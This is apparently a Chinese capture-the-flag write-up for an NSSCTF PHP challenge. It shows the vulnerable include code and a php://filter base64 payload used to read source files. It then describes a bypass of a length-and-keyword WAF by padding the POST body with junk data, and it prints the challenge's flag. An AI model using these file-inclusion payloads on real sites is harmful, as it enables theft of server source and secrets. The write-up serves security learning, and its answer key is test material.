1
2
3
4
|
<?php
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;
|
尝试包含 flag.php ,提示有 waf :
尝试包含 index.php ,没有触发 waf 但是没回显:
利用 php 伪协议将 index.php 的内容以 base64 编码的形式显示:
payload:flag=php://filter/convert.base64-encode/resource=/var/www/html/index.php
解密后的 index.php :
1
2
3
4
5
6
7
8
9
10
11
|
<?php
// 从POST请求中获取名为 "flag" 的参数,将其赋值给变量 $path
$path = $_POST["flag"];
// 检查通过POST请求传递的数据的长度是否小于800,并且路径中是否包含 "flag" 字符串
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
|
绕过 waf 需要让 if 里的条件为 false,即需要让 && 两边的其中一边为 false
通过传脏数据可以使 strlen(file_get_contents('php://input')) < 800
为 false:
payload:
1
|
flag=php://filter/convert.base64-encode/resource=/var/www/html/flag.php&a=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
|
解密后的 flag.php :
1
|
<?php ='NSSCTF{cf1a336d-c369-44b6-aade-6acc4e910292}';
|